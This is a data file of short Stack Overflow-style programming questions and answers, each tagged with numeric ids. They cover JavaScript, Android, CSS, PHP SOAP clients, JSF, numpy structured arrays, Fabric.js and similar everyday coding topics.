25045902	0	 <p>You can't set the <code>window.screen</code> values in the <code>LoadStarted</code> event, but you can in the <code>Intialized</code> event. So, instead, the code would look like this:</p> <pre><code>tab.onInitialized = function () { tab.evaluate(function () { window.screen = { width: 1920, height: 1080 }; }); }; </code></pre>
16637340	0	javascript: create range from cursor position at time a to cursor position at time b <p>I get the cursor position at time a. Then I get the cursor position at time b. I want to make a range from the cursor position at time a to the cursor position at time b. Time a and b are start and end of ctr-v (paste).</p> <p>I get the cursor position like so - or rather a range at the cursor position.</p> <pre><code>sel = window.getSelection(); range_time_a = sel.getRangeAt(0).collapse(true); </code></pre> <p>But, how do I use range_time_a and range_time_b to create a new range that starts at range_time_a and ends at range_time_b? </p> <p>I have seen code to get the element with the cursor and to get the offset within that element. I could use that for setStart() and setEnd, but it seems like there should be an easier way since I've already got two ranges.</p>
23845436	0	 <p>On Button Click You can use one of the following :</p> <ul> <li><pre><code>editText.setTextColor(Color.RED); </code></pre></li> <li><pre><code>editText.setTextColor(Color.parseColor("#FFFFFF")); </code></pre></li> <li><pre><code>editText.setTextColor(Color.rgb(200,0,0)); </code></pre></li> <li><pre><code>editText.setTextColor(Color.argb(0,200,0,0)); </code></pre></li> <li><pre><code>editText.setTextColor(getResources().getColor(R.color.editTextColor)); </code></pre></li> <li><pre><code>editText.setTextColor(0xAARRGGBB); </code></pre></li> </ul>
36592670	0	 <p>You can also try this pure CSS method:</p> <pre><code>font-size: calc(100% - 0.3em); </code></pre>
18552693	0	 <p>No, it checks everything in database. Cookies would be too dangerous (users can modify their rights) </p> <p>You can cache data with Cache class in Laravel 4 to compensate too many queries to your database. </p>
37481603	0	 <p>I solve it running as administrator cmd. Cleaning the cache <code> npm cache clean -f </code> And then try to install the package again</p>
36593715	0	 <p>From <a href="https://bitbucket.org/anthony_tuininga/cx_freeze/issues/32/cant-compile-cx_freeze-in-ubuntu-1304">cx_freeze/issues</a></p> <h1>Download</h1> <p>You need to <a href="https://pypi.python.org/pypi?:action=display&amp;name=cx_Freeze&amp;version=4.3.4">download the source code</a></p> <h1>For python 3.3 and 3.4:</h1> <ol> <li><p><code>sudo apt-get install python3-dev</code></p></li> <li><p><code>sudo apt-get install libssl-dev</code></p></li> <li><p>Open setup.py and change the line</p> <p><code>if not vars.get("Py_ENABLE_SHARED", 0):</code></p> <p>to</p> <p><code>if True:</code></p></li> <li><p><code>python3 setup.py build</code></p></li> <li><code>sudo python3 setup.py install</code></li> </ol> <h1>For python 2.7:</h1> <ol> <li><p><code>sudo apt-get install python-dev</code></p></li> <li><p><code>sudo apt-get install libssl-dev</code></p></li> <li><p>Open setup.py and change the line</p> <p><code>if not vars.get("Py_ENABLE_SHARED", 0):</code></p> <p>to</p> <p><code>if True:</code></p></li> <li><p><code>python setup.py build</code></p></li> <li><code>sudo python setup.py install</code></li> </ol>
11209093	0	 <p>This is a typical reason why accessors/properties are good to avoid if possible. Try to get rid of exposing the entity's "raw" data and put the logic inside the entity itself - then you have your null check in one place.</p> <pre><code>txtRequiredDate.setText(todoEntity.formattedRequiredDate()) </code></pre> <p>...where you do your null check in the entity method instead (and returning empty string or whatever if null).</p> <p>Whether getters and setters really are evil or not, <a href="http://www.javaworld.com/javaworld/jw-09-2003/jw-0905-toolbox.html" rel="nofollow">old classic article in this subject</a>, is up for debate, but at least having encapsulation in mind when designing entities is a good thing IMO.</p>
13888288	0	 <p>The lifetime of an automatic object ends at the end of the block where it is declared.</p> <p>Accessing an object outside of its lifetime is undefined behavior in C.</p> <blockquote> <p>(C99, 6.2.4p2) "If an object is referred to outside of its lifetime, the behavior is undefined. The value of a pointer becomes indeterminate when the object it points to reaches the end of its lifetime."</p> </blockquote>
32653879	0	 <p>From: <a href="http://stackoverflow.com/questions/13581473/why-does-the-objectstatemanager-property-not-exist-in-my-db-context">Why does the ObjectStateManager property not exist in my db context?</a> </p> <pre><code>var manager = ((IObjectContextAdapter)db).ObjectContext.ObjectStateManager; </code></pre>
8829690	0	Rendering Issues with DirectShow and USB Video Sources <p>We are trying to get DirectShow work with USB video capture devices like <a href="http://www.mygica.com/pa/igrabber.asp" rel="nofollow">this</a>. The code simply adds the capture source's filter (capFilter) in the capture graph and then connects it to VMR9 renderer already added to the graph.</p> <pre><code>captureGraph.RenderStream(null, MediaType.Video, capFilter, null, vmr9); </code></pre> <p>At present, everything runs without throwing any exception, but the output is just black. I checked the capture source's output in GraphStudio, but it also resulted in the same black output.</p> <p>I'm able to get the same code to work with all of the USB and HDMI based video capture devices and webcames.</p>
31407689	0	 <p>How are you calling this void function? The return paths include setting a <code>ViewBag</code> property with an error message along with modifying the response. It smells of bad design. </p> <p>I'd create a hyperlink that links to a <code>@Url.Action</code> for something like this. Note that you'd need to return a <code>FileContentResult</code> with the data UTF8-encoded rather than modifying the <code>Response</code> directly:</p> <pre><code> public async Task&lt;ActionResult&gt; Test() { WebGrid wd = new WebGrid(source: ViewBag.DynamicResult, canPage: false, canSort: false ); string griddata = wd.GetHtml().ToString(); string attachment = "attachment; filename=NativeQuery" + vartimedate + ".xls"; Response.ClearContent(); Response.AddHeader("content-disposition", attachment); Response.ContentType = "application/excel"; byte[] buffer = System.Text.UTF8Encoding.UTF8.GetBytes(griddata); return File(buffer, "application/octet-stream"); } </code></pre>
21494582	0	 <pre><code>&lt;select&gt; &lt;option selected="selected" class="Country"&gt;Country Name&lt;/option&gt; &lt;option value="1"&gt;India&lt;/option&gt; &lt;option value="2"&gt;us&lt;/option&gt; &lt;/select&gt; </code></pre> <p> </p> <pre><code>.country { display:none; } &lt;/style&gt; </code></pre>
36579174	0	Is not reusing created SOAP client object <p>Can anyone tell me why the SOAP client is not being re-used? It keeps getting initialized where it should have been reused from the last call.</p> <p>When I print out the SOAP client object after it was initialized it is there but it is forgotten at the next call.</p> <p>So the php script keeps initializing the connection.</p> <p>My code:</p> <pre><code>class EcoAPI { private $client; public function getClient() { if (empty($this-&gt;client)) { echo "&lt;br&gt;initializing..."; $this-&gt;initClient(); } return $this-&gt;client; } private function initClient() { $settingsOld = Settings::GetOld(); $this-&gt;client = new SoapClient("https://api.e-conomic.com/secure/api1/EconomicWebservice.asmx?WSDL", array("trace" =&gt; 1, "exceptions" =&gt; 1)); $this-&gt;client-&gt;ConnectWithToken(array('token' =&gt; $settingsOld-&gt;economic_token_secret, 'appToken' =&gt; $settingsOld-&gt;economic_token_app)); } } </code></pre> <p>I connect by:</p> <pre><code>$ecoApi = new EcoAPI(); $result = $ecoApi-&gt;getClient()-&gt;Account_GetVatAccount(array('accountHandle' =&gt; (object) array('Number' =&gt; (string) $VatAccount))); </code></pre>
39680169	0	Error on VS 2013 for WP Silverlight 8.1 applications <p>I explain my error in this video: <a href="https://www.youtube.com/watch?v=kOXZxmIrYDQ" rel="nofollow">error</a></p> <p>I'm doing this because I tried to ask a question for my error in past and I didn't get any answers. (<a href="http://stackoverflow.com/questions/39592487/error-deployment-of-application-to-device-failed-error-0x80070005-access-is-d">first question</a>)</p> <p>If anyone can help me with this problem please leave a comment because I can't get rid of it. Thanks!</p>
2667345	0	 <p>This looks correct.</p> <p>Note that <code>MailMessage</code> does not override <code>ToString</code>, so your logs will simply say <code>[MailMessage] Send cancelled</code>.<br> You might want to use the <code>Subject</code> proeprty (or some other property) instead.</p>
5470994	0	 <p>That could be a div the styled during events and as other suggested make it contentEditable. With regards to textarea I have read similar question <a href="http://stackoverflow.com/questions/142527/highlight-text-inside-of-a-textarea">here</a>. Check it if it's what your looking for.</p>
692853	0	Which collection for storing unique strings? <p>I'm looking for a collection just like <code>Dictionary(OF Key, Value)</code> but I don't actually need a key and value. Key itself is enough. So something like <code>Collection(Key)</code>. It shouldn't accept duplicate keys.</p> <p>I've looked up couple of collections in .NET Framework but couldn't find what I want. Currently I'm abusing <code>Dictionary(OF String, String)</code> and setting Value as <code>Nothing</code> all the time.</p> <p>Shall I just continue abusing Dictionary(OF T,T)?</p>
22166654	0	Interactive drawing with Fabric.js <p>I am trying to do an interactive drawing using Fabric.js. Now I can draw a rectangle by using mouse. But after I finish drawing the rectangle, I can not select it unless I resize it once by using the left top controller after drawing. I wonder what break the event system.</p> <p>Here is my code: <a href="http://jsfiddle.net/rmFgX/1/" rel="nofollow">http://jsfiddle.net/rmFgX/1/</a></p> <pre><code>var canvas = new fabric.Canvas('canvas'); var rect = new fabric.Rect({ top : 100, left : 100, width : 60, height : 70, fill : 'red' }); canvas.add(rect); canvas.on('mouse:down', function (option) { console.log(option); if (typeof option.target != "undefined") { return; } else { var startY = option.e.offsetY, startX = option.e.offsetX; console.log(startX, startY); var rect2 = new fabric.Rect({ top : startY, left : startX, width : 0, height : 0, fill : 'transparent', stroke: 'red', strokewidth: 4 }); canvas.add(rect2); console.log("added"); canvas.on('mouse:move', function (option) { var e = option.e; rect2.set('width', e.offsetX - startX); rect2.set('height', e.offsetY - startY); rect2.saveState(); }); } }); canvas.on('mouse:up', function () { canvas.off('mouse:move'); }); </code></pre>
8425436	0	 <p>This is a bit of a long shot, but you could investigate <a href="http://hg.codeflow.org/genshi2js/summary" rel="nofollow">genshi2js</a>. It claims to compile a subset of genshi templates into javascript functions (similar to Google's soy templates). Unfortunately it seems to be an abandoned project. The main link for it is 404, but I was able to find the mercurial repository at the link above, and it's last activity was in 2008.</p> <p>The best solution to this problem in general is to use the same template system and have both a JS and server-side implementation. (That's also the idea behind Google soy templates--java and js implementations.)</p>
36735588	0	 <p>You can achieve this solution very easy by Jquery. the following code very useful to you.</p> <pre><code>$().ready(function() { $('#right_arrow_id').click(function() { return !$('#firstboxid_here option:selected').clone(true).appendTo('#second_box_id_here'); }); </code></pre> <p>for removing options from second box.</p> <pre><code> $('#left_arrow_id_here').click(function() { $('#second_box_id_here option:selected').remove(); }); }); </code></pre>
18442406	0	Android GCM doesnt register device <p>Code:</p> <pre><code>String msg = ""; try { if (gcm == null) { gcm = GoogleCloudMessaging .getInstance(OrfografApplication.this); } String senderId = Constants.GCM_SENDER_ID; GCM_REGISTRATION_ID = gcm.register(Constants.GCM_SENDER_ID); msg = "Device registered, registration id=" + GCM_REGISTRATION_ID; setRegistrationId(OrfografApplication.this, GCM_REGISTRATION_ID); } catch (IOException ex) { Log.w(TAG, ex.getMessage()); msg = "Error :" + ex.getMessage(); } return msg; </code></pre> <p>Exception message <code>SERVICE_NOT_AVAILABLE</code></p> <p>In logcat <code>: W/GCM(749): DIR: /data/data/com.google.android.gms/app_APP /data/data/com.google.android.gsf</code></p> <p>It worked fine, but stoped at 23 of august.</p>
25646249	0	 <p>If you are getting special character in <code>kati</code> array then you can use tab library and use</p> <p><code>c:out</code> as</p> <pre><code>&lt;c:out value=${yourArrayvalue} escapeXml='true'/&gt; </code></pre> <p>so you will get desired output</p>
19765500	0	 <p>Try this:</p> <pre><code>var element = root.GetElementsByTagName("Intelejen")[0]; if (element != null) txt10.Text = element.InnerText </code></pre> <p>Explanation: <code>root.GetElementsByTagName("Intelejen")[0]</code> returns null if no element is found. That is why <code>InnerText</code> throws a null exception</p>
35202071	0	 <p>I prefer this approach, which is a bit short and sweet:</p> <pre><code>result &lt;- rasters[!sapply(rasters, is.null)] </code></pre>
1595014	0	How to return a verbatim string from ConfigurationManager.AppSetting["settingname"].ToString() <p>I am using the <code>ConfigurationManager.AppSetting["blah"].ToString()</code> method to get the path to the folder that contains the files I'm needing. But I'm throwing an <code>UnsupportedFormatException</code> on the path when it tries to use <code>Directory.GetFiles(path)</code>.</p> <p>The returning value has the escape characters included and I'm not sure how to keep it from returning the extra characters. This is what the path looks like after it is returned:</p> <p><code>\\\\\\\\C:\\\\folder1\\\\folder2</code></p>
5407453	0	JSF 2 Lifecycle <p>I have this code for BookModel.java:</p> <pre><code>@Entity @Table(name = "BOOK") @NamedNativeQuery(name = "BookModel.findBookTitle", query = "SELECT @rownum:=@rownum+1 'no', m.title, m.author, REPLACE(SUBSTRING_INDEX(m.content, ' ', 30), '&lt;br&gt;', ' '), m.viewed, m.hashid FROM book m, (SELECT @rownum:=0) r WHERE m.title like 'a%'") public class BookModel implements Serializable { @Id @GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "MY_SEQ_GEN") @Column(name = "id", unique = true, nullable = false) private Long id; @NotNull @Size(min = 1, max = 255) @Column(name = "title") private String title; @NotNull @Size(min = 1, max = 255) @Column(name = "author") private String author; } </code></pre> <p>And BookService.java for the business layer:</p> <pre><code>@Stateless public class BookService { @SuppressWarnings("unchecked") public List&lt;BookModel&gt; getBook() { Query query = entityManager.createNamedQuery("BookModel.findBookTitle"); List&lt;BookModel&gt; result = query.getResultList(); return result; } } </code></pre> <p>And BookBean.java for the presentation layer:</p> <pre><code>@ManagedBean(name = "BookBean") @RequestScoped public class BookBean implements Serializable { @EJB private BookService bookService; private DataModel&lt;BookModel&gt; book; public DataModel&lt;BookModel&gt; getBook() { return book; } } </code></pre> <p>And the page book.xhtml:</p> <pre><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml" xmlns:ui="http://java.sun.com/jsf/facelets" xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core" xmlns:p="http://primefaces.prime.com.tr/ui"&gt; &lt;p:dataTable id="bookList" value="#{BookBean.book}" var="book"&gt; ... &lt;/p:dataTable&gt; &lt;/html&gt; </code></pre> <p>My question is: How can I restrict the method <strong>getBook()</strong> in <strong>BookBean</strong> to be executed only once instead of six times - presumably for each phase of JSF lifecycle. Has anyone else come across this before? Please help. Have been stuck on this for the last day without any success.</p>
18405597	0	 <p><code>int</code> does not round -- it finds the floor (truncates the fractional part).</p> <pre><code>&gt;&gt;&gt; n = 8.92138 &gt;&gt;&gt; '%.42f' % n # what n really is '8.921379999999999199644662439823150634765625' &gt;&gt;&gt; 100000 * n # result is slightly lower than 892138 892137.9999999999 &gt;&gt;&gt; int(100000 * n) # int takes the floor 892137 </code></pre>
31027115	0	 <p>When dealing with optionals you should be conditionally unwrapping them with an if statement.</p> <pre><code>var yourOptional: String? if let unwrapped = yourOptional { // Do something with the variable } else { // It was nil } </code></pre>
11805251	0	Add HTML elements dynamically with JavaScript inside DIV with specific ID <p>Ok, poeple, I need your help. I've found some code here on Stackoverflow (can't find that link) which generate HTML code dynamically via JS. Here is code:</p> <pre><code>function create(htmlStr) { var frag = document.createDocumentFragment(), temp = document.createElement('div'); temp.innerHTML = htmlStr; while (temp.firstChild) { frag.appendChild(temp.firstChild); } return frag; } var fragment = create('&lt;div class="someclass"&gt;&lt;a href="www.example.com"&gt;&lt;p&gt;some text&lt;/p&gt;&lt;/a&gt;&lt;/div&gt;'); document.body.insertBefore(fragment, document.body.childNodes[0]); </code></pre> <p>This code work's just fine! But generated code apears on top of page, right below <code>body</code> tag. My wish is to generate that code inside empty <code>div</code> with specific <code>id="generate-here"</code>.</p> <p>So output will be:</p> <pre><code>&lt;div id="generate-here"&gt; &lt;!-- Here is generated content --&gt; &lt;/div&gt; </code></pre> <p>I know that I can't see generated content with "view source". I only need to generate that content just in this particular place with <code>#generate-here</code>. I'm Javascript noob, so if anyone can just rearrange this code that will be perfect. Thanks a lot!</p> <p>P.S. I know how to do this with Jquery, but I need native and pure JavaScript in this case.</p>
37041146	0	 <p>You need to use a (derived) table of values. Here is a solution using <code>left join</code> instead of <code>not in</code>:</p> <pre><code>select n.n from (select 1 as n union all select 2 union all select 4 union all select 5 union all select 6 union all select 7 ) n left join tablename t on t.id = n.n where t.id is null; </code></pre>
21799138	0	Django/HTML - what "value", "id" and "name" fields stand for? <p>I've gone through all the official Django tutorial, but I can't seem to figure out a template section of it. I have the following form</p> <pre><code>&lt;form action="{% url 'polls:vote' poll.id %}" method="post"&gt; {% csrf_token %} {% for choice in poll.choice_set.all %} &lt;input type="radio" name="choice" id="choice{{ forloop.counter }}" value="{{ choice.id }}" /&gt; &lt;label for="choice{{ forloop.counter }}"&gt;{{ choice.choice_text }}&lt;/label&gt;&lt;br /&gt; {% endfor %} &lt;input type="submit" value="Vote" /&gt; &lt;/form&gt; </code></pre> <p>I understand that this code accepts an input, and returns request.POST dictionary to the polls:vote view. However, in the 4th line of code, I don't understand what's the roll of name, id and value in this whole operation?</p> <p>Could anyone give me a clue on this?</p>
21423604	0	 <p>Without reading all to much of your stuff,</p> <pre><code>def check_dict(first, second): for key in first: for keyTwo in second: if type(first[key]) == dict and type(second[keyTwo]) == dict: return check_dict(first[key], second[keyTwo]) if not first[key] == second[keyTwo]: return false </code></pre> <p>Don't have access for a python interpreter at the moment but something along the lines of this should work. It's just a start for an idea but hopefully this is enough information to spark something.</p>
2272689	0	 <p>Generally there are several different ways to start service:</p> <ol> <li><a href="http://developer.android.com/reference/android/content/Context.html#startService(android.content.Intent)" rel="nofollow noreferrer">startService()</a> - after that you need to explicitly stop service with stopService()</li> <li>[bindService()][2] - this method allow you to manage the lifecycle of service automaticaly. So you can make service to stop after the last client said unbind();</li> </ol> <p>For details check <a href="http://developer.android.com/guide/topics/fundamentals.html#servlife" rel="nofollow noreferrer">docs</a></p> <p>[2]: <a href="http://developer.android.com/reference/android/content/Context.html#bindService(android.content.Intent" rel="nofollow noreferrer">http://developer.android.com/reference/android/content/Context.html#bindService(android.content.Intent</a>, android.content.ServiceConnection, int)</p>
8088091	0	 <p>According to the spec the <code>&lt;p&gt;</code> element cannot contain <code>"block-level elements (including P itself)"</code>. My guess is Chrome is just trying to be helpful here.</p> <p>Source: <a href="http://www.w3.org/TR/html401/struct/text.html#h-9.3.1" rel="nofollow">http://www.w3.org/TR/html401/struct/text.html#h-9.3.1</a></p>
1326575	0	 <p>A module contains IL and many of them are linked together to create an assembly, which is usually housed in a PE like a .exe or a .dll.</p> <p>A PE can contain native (non managed) code as well.</p> <p><a href="http://en.wikipedia.org/wiki/Portable_Executable" rel="nofollow noreferrer">This is a good intro to the concepts.</a></p>
6731527	0	 <p>Just <code>return false</code> from the cancel handler.</p> <p>Otherwise the click event bubbles, and since the button is nested inside the <code>li</code> element that opens the form, both elements receive the click.</p> <p>The <em>cancel</em> button tries to <code>hide</code> it and then the <code>li</code> re-opens it..</p> <pre><code> $("#h-nav li#hn-contact #cancel").click(function() { $("#h-nav li#hn-contact").find("div.dd").hide(); return false; }); </code></pre> <p>demo at <a href="http://jsfiddle.net/gaby/5CpeW/2/" rel="nofollow">http://jsfiddle.net/gaby/5CpeW/2/</a></p> <hr> <p>Notice, since <code>id</code> are unique, you do not have to describe the hierarchy in your jquery selectors. Just use a selector from the last <code>id</code> and forward..</p>
15862443	0	Populate cells with two numbers only using vba <p>Please help me, what I am trying to do is to populate cells N2:N1041 with numbers 0 and 2. I want total of 100 cells (random cells to be filled in) in column N to be populated with "0" and the remaining 940 cells to have "2". Or in other words, I want the 9.6% of the range (N2:N1041) to be filled with "0" and the rest with "2".</p> <p>Thank you so much in advance. </p>
21150512	0	Best way to retrieve the prototype of a JS object <p>Trying to understand Prototypes in Javascript. For this example:</p> <pre><code>var obj = new Function(); obj.prototype.x = "a"; </code></pre> <p>Why do I get different results from </p> <pre><code>console.log(obj.__proto__); </code></pre> <p>and </p> <pre><code>console.log(obj.prototype); </code></pre> <p>Thanks</p>
9271901	0	 <p>That's definitely an error with <code>getdisc</code> not being visible to the linker but, if what you say is correct, that shouldn't happen.</p> <p>The <code>gcc</code> command line you have includes <code>graph1.c</code> which you assure use contains the function.</p> <p>Don't worry about the object file name, that's just a temprary name created by the compiler to pass to the linker.</p> <p>Can you confirm (exact cut and paste) the <code>gcc</code> command line you're using, and show us the function definition with some context around it?</p> <p>In addition, make sure that <code>graph1.c</code> is being compiled as expected by inserting immediately before the <code>getdisc</code> function, the following line:</p> <pre><code>xyzzy plugh twisty; </code></pre> <p>If your function is being seen by the compiler, that should cause an error <em>first.</em> It may be something like <code>ifdef</code> statements causing your code not to be compiled.</p> <p>By way of testing, the following transcript shows that what you are <em>trying</em> to do works just fine:</p> <pre><code>pax&gt; cat shells2.c #include "graph2.h" int main (void) { int x = getdisc (); return x; } pax&gt; cat graph2.h int getdisc (void); pax&gt; cat graph1.c int getdisc (void) { return 42; } pax&gt; gcc -o rr4 shells2.c graph1.c pax&gt; ./rr4 pax&gt; echo $? 42 </code></pre> <p>We have to therefore assume that what you're <em>actually</em> doing is something different, and that's unusually tactful for me :-)</p> <p>What you're experiencing is what would happen with something like:</p> <pre><code>pax&gt; gcc -o rr4 shells2.c /tmp/ccb4ZOpG.o: In function `main': shells2.c:(.text+0xa): undefined reference to `getdisc' collect2: ld returned 1 exit status </code></pre> <p>or if <code>getdisc</code> was <em>not</em> declared correctly in <code>graph1.c</code>.</p> <p>That last case could be for many reasons including, but not limited to:</p> <ul> <li>mis-spelling of <code>getdisc</code>.</li> <li><code>#ifdef</code> type statements meaning the definition is never seen (though you seem to have discounted that in a comment).</li> <li>some wag using <code>#define</code> to change <code>getdisc</code> to something else (unlikely, but possible).</li> </ul>
37013246	0	 <p>When I make an zero array with your dtype</p> <pre><code>In [548]: dt=np.dtype([('MSFT','float'),('CSCO','float'),('GOOG','float') ]) In [549]: A = np.zeros(3, dtype=dt) In [550]: A Out[550]: array([(0.0, 0.0, 0.0), (0.0, 0.0, 0.0), (0.0, 0.0, 0.0)], dtype=[('MSFT', '&lt;f8'), ('CSCO', '&lt;f8'), ('GOOG', '&lt;f8')]) </code></pre> <p>notice that the display shows a list of tuples. That's intentional, to distinguish the <code>dtype</code> records from a row of a 2d (ordinary) array.</p> <p>That also means that when creating the array, or assigning values, you also need to use a list of tuples.</p> <p>For example let's make a list of lists:</p> <pre><code>In [554]: ll = np.arange(9).reshape(3,3).tolist() In [555]: ll In [556]: A[:]=ll ... TypeError: a bytes-like object is required, not 'list' </code></pre> <p>but if I turn it into a list of tuples:</p> <pre><code>In [557]: llt = [tuple(i) for i in ll] In [558]: llt Out[558]: [(0, 1, 2), (3, 4, 5), (6, 7, 8)] In [559]: A[:]=llt In [560]: A Out[560]: array([(0.0, 1.0, 2.0), (3.0, 4.0, 5.0), (6.0, 7.0, 8.0)], dtype=[('MSFT', '&lt;f8'), ('CSCO', '&lt;f8'), ('GOOG', '&lt;f8')]) </code></pre> <p>assignment works fine. That list also can be used directly in <code>array</code>.</p> <pre><code>In [561]: np.array(llt, dtype=dt) Out[561]: array([(0.0, 1.0, 2.0), (3.0, 4.0, 5.0), (6.0, 7.0, 8.0)], dtype=[('MSFT', '&lt;f8'), ('CSCO', '&lt;f8'), ('GOOG', '&lt;f8')]) </code></pre> <p>Similarly assigning values to one record requires a tuple, not a list:</p> <pre><code>In [563]: A[0]=(10,12,14) </code></pre> <p>The other common way of setting values is on a field by field basis. That can be done with a list or array:</p> <pre><code>In [564]: A['MSFT']=[100,200,300] In [565]: A Out[565]: array([(100.0, 12.0, 14.0), (200.0, 4.0, 5.0), (300.0, 7.0, 8.0)], dtype=[('MSFT', '&lt;f8'), ('CSCO', '&lt;f8'), ('GOOG', '&lt;f8')]) </code></pre> <p>The <code>np.rec.fromarrays</code> method recommended in the other answer ends up using the copy-by-fields approach. It's code is, in essence:</p> <pre><code>arrayList = [sb.asarray(x) for x in arrayList] &lt;determine shape&gt; &lt;determine dtype&gt; _array = recarray(shape, descr) # populate the record array (makes a copy) for i in range(len(arrayList)): _array[_names[i]] = arrayList[i] </code></pre>
31987320	0	 <p>Google recommands to not use WakefulBroadcastReceiver anymore but GCMReceiver and GcmListenerService on Android. Making this change may solve your problem</p> <p><a href="https://developers.google.com/cloud-messaging/android/client" rel="nofollow">source here</a></p>
17011677	0	 <p>I think you're going to have to handle the quotes after you get the token back because in <a href="http://docs.oracle.com/javase/7/docs/api/java/util/Scanner.html#next%28java.util.regex.Pattern%29" rel="nofollow">the <code>Scanner#next(String)</code> method</a>, the regex is used to <em>test</em> the next token, not to <em>determine</em> the next token.</p> <p>So, rather than getting the tokenizer to return <code>x</code>, you're going to have to expect the tokenizer to return <code>'x',</code>, and then make that output work. Fortunately, this isn't hard. A quick and dirty way to do that would look like this:</p> <pre><code>String quotedToken=scanner.next(); quotedToken = quotedToken.replace('\'', ' '); quotedToken = quotedToken.replace(',', ' '); quotedToken = quotedToken.trim(); </code></pre> <p>It's probably also worth noting that you can get the <code>Scanner</code> to handle your commas for you if you get a little clever with your delimiter:</p> <pre><code>`scanner.useDelimiter(",?\\s+");` </code></pre>
6129787	0	MYSQL Statistics <p>I write a class to check some statistics and I don't know what mean the terms and If they are bad </p> <blockquote> <pre><code>$array = explode(" ", mysql_stat()); foreach ($array as $value){ echo $value . "&lt;br /&gt;"; } </code></pre> </blockquote> <p>and output:</p> <pre><code>Uptime: 4520 Threads: 3 Questions: 295957 Slow queries: 0 Opens: 905 Flush tables: 1 Open tables: 32 Queries per second avg: 65.477 </code></pre> <p>is something wrong ? </p> <p>PS: <strong>any way to find out unclosed mysql connections ??</strong></p> <p>Thanks!</p>
40053035	0	 <p>Create a <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms632599.aspx#message_only">message-only window</a>, and handle the <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa376890.aspx">WM_QUERYENDSESSION</a> and/or <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa376889.aspx">WM_ENDSESSION</a> messages.</p>
16880871	0	 <p>I'd recommend not using synchronous ajax request, it would be better to use a callback. You could itterate through every house object like so:</p> <pre><code>function displayJson() { var i,h,ret=[]; var myDiv =document.getElementById("content"); // houseone and housetwo for (h in houses) { // houseone and housetwo are arrays: [house,house,house] // for every house in this array do: for(i=0;i&lt;houses[h].length;i++){ var home = houses[h][i]; ret.push(houseDetails(home,i)); } } //setting innerHTML is resource intensive // no reason to do this within a loop. myDiv.innerHTML=ret.join(""); } </code></pre>
32503253	0	How to move a node to the position I touch in SpriteKit with Swift? <p>I am creating a game like Doodle Jump (without the accelerometer).</p> <p>I have been trying to figure this out, but I can't seem to make it run as smoothly as I've been hoping. </p> <p>Here is my code for my touches functions:</p> <pre><code>override func touchesBegan(touches: Set&lt;NSObject&gt;, withEvent event: UIEvent) { for touch: AnyObject in touches { let touchLocation = touch.locationInNode(self) lastTouch = touchLocation } } override func touchesMoved(touches: Set&lt;NSObject&gt;, withEvent event: UIEvent) { for touch: AnyObject in touches { let touchLocation = touch.locationInNode(self) lastTouch = touchLocation } } override func touchesEnded(touches: Set&lt;NSObject&gt;, withEvent event: UIEvent) { lastTouch = nil } override func update(currentTime: CFTimeInterval) { if let touch = lastTouch { let impulseVector = CGVector(dx: 400, dy: 400) player.physicsBody?.applyImpulse(impulseVector) } } </code></pre>
9889226	0	show server time using php and jquery ajax <p>I was trying to show the date and time of server using php and jquery ajax. following are the jquery script to show datetime </p> <pre><code>&lt;script type= "text/javascript" src="jquery-1.4.1.min.js"&gt; &lt;/script&gt; &lt;script type= "text/javascript"&gt; $(document).ready(function() { function update() { $.ajax({ type: 'POST', url: 'datetime.php', timeout: 1000, success: function(data) { $("#timer").html(''); window.setTimeout(update, 1000); }, }); } }); &lt;/script&gt; &lt;div id="timer"&gt; &lt;/div&gt; </code></pre> <p>following are php script for datetime.php</p> <pre><code> &lt;?php $msg = date('d/m/Y h:i:s'); echo $msg; ?&gt; </code></pre> <p>I don't what is going wrong. It's not showing output. Any help</p>
27106380	0	 <p>Seems like the <code>webkitbeginfullscreen</code> event is getting fired.</p> <p>So now I probably will use something like this:</p> <pre><code>videoEl.addEventListener('webkitbeginfullscreen', function() { screen.lockOrientation('landscape-primary'); }, false); videoEl.addEventListener('webkitendfullscreen', function() { screen.lockOrientation('portrait-primary'); }, false); </code></pre> <p>See <a href="http://stackoverflow.com/a/22010698/2235793">http://stackoverflow.com/a/22010698/2235793</a></p> <p>NOTE: theses two events are not fired on a nexus 5 running android 4.4.4 (inside cordova v3.6). But there, webkitfullscreenchange event is fired on enter and exit. Sigh.</p>
32141981	0	 <p>From the command line you can run specific scenarios from the same feature file using a colon between the line numbers, like this:</p> <pre><code>cucumber tests/features/my.feature:37:52 </code></pre> <p>If scenarios are defined at lines 37 and 52, both would be executed by cucumber.</p> <p>You can likewise run specific examples by referencing their line number. In your case, this would work:</p> <pre><code>cucumber tests/features/my.feature:141:142:143:144:145:146:147:148:149:150:151 </code></pre> <p>Cucumber will execute the example found at each line number.</p>
15120243	0	 <p>Easiest example I can think of would be a method that sends some content to a JMS server. If you are in the context of a transaction, you want the message to be coupled to the transaction scope. But if there isn't already a transaction running, why bother calling the transaction server also and starting one just to do a one-off message?</p> <p>Remember these can be declared on an API as well as an implementation. So even if there isn't much difference for your use case between putting it there and putting nothing there, it still adds value for an API author to specify what operations are able to be included in a transaction, as opposed to operations that perhaps call an external system that does not participate in transactions.</p> <p>This is of course in a JTA context. The feature doesn't really have much practical use in a system where transactions are limited to resource-local physical database transactions.</p>
20407954	0	Javascript obfuscate AJAX code <p>First of all sorry if the name of the topic isn't the most correct.</p> <p>Imagine the following code which connects to a PHP file by AJAX.</p> <pre><code>function get_locales(){ var the_locale = $('#page-add-text').val(); var url = "classes/load_info.php?type=locale&amp;value=" + the_locale; var all = ""; $.getJSON(url, function(data){ $.each(data, function(index, item){ all += "&lt;li data-name='" + item.value + "'&gt;&lt;/li&gt;"; }); $("#page-add-listview").html(all); $("#page-add-listview").trigger("change"); $("#page-add-listview").listview("refresh"); }); } </code></pre> <p>If people download the page, they will see <code>classes/load_info.php?type=locale&amp;value= + the_locale;</code> With this they automatically assume that the url is: <code>www.stackoverflow.com/classes/load_info.php?type=locale&amp;value=TESTING;</code></p> <p>So, they can view/retrieve what the function prints, plus, they might try to get some bugs. I'm asking for help in know-how of best ways (if there is any..) to avoid this.</p> <p>Thank you.</p>
